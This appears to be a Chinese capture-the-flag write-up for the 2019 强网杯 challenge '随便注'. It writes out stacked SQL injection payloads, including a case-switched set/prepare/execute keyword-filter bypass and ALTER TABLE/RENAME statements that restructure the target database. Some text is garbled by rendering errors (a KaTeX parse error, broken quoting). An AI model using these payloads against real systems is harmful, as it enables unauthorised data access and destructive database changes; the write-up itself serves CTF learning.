[强网杯 2019]随便注(预处理/更改表名列名)
打开环境
-1’ or 1=1#
有注入
1’ union select 1,2# 有过滤,preg_match会过滤大小写。union查询无法使用了。
尝试堆叠注入";"将查询分开。
查询所有数据库:
-1’;show databases;#
显示正常,发现是mysql数据库
查询当前数据库的表:
-1;show tables;#
查询这两个表中的字段,这里可以使用show也可以使用desc
-1’;show columns from '1919810931114514'
;#
查询这个表需要用反引号括起来,反引号 `
-1’;desc '1919810931114514'
;#
发现flag字段
再查一下words
1’; show columns fromwords
;#
由于提取字段需要select * from flag
,但是select
所有这里有两种方法:预处理和rename改表名字段名
1、预处理
set:设置预处理的语句
prepare:引用预处理的语音
execute:执行语句-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');prEpare asd from @sql;execute asd;#
asd自己定义的,不要设置为数字。
这里set和prepare都要进行一次过滤
,因为正常输入-1'; set @sql=concat('sel','ect * from `1919810931114514`;');prepare asd from @sql;execute asd;#
后显示
strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”)但是strstr不过滤大小写。
2、rename
之前查询了words发现了datat字段,表明了你之前输入1,2,3查查询的信息都在data里
所以可以将表flag改为words,将words改成任意名字。再将列flag改为id-1';alter table words rename to asd;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
最后输入1’ or 1=1#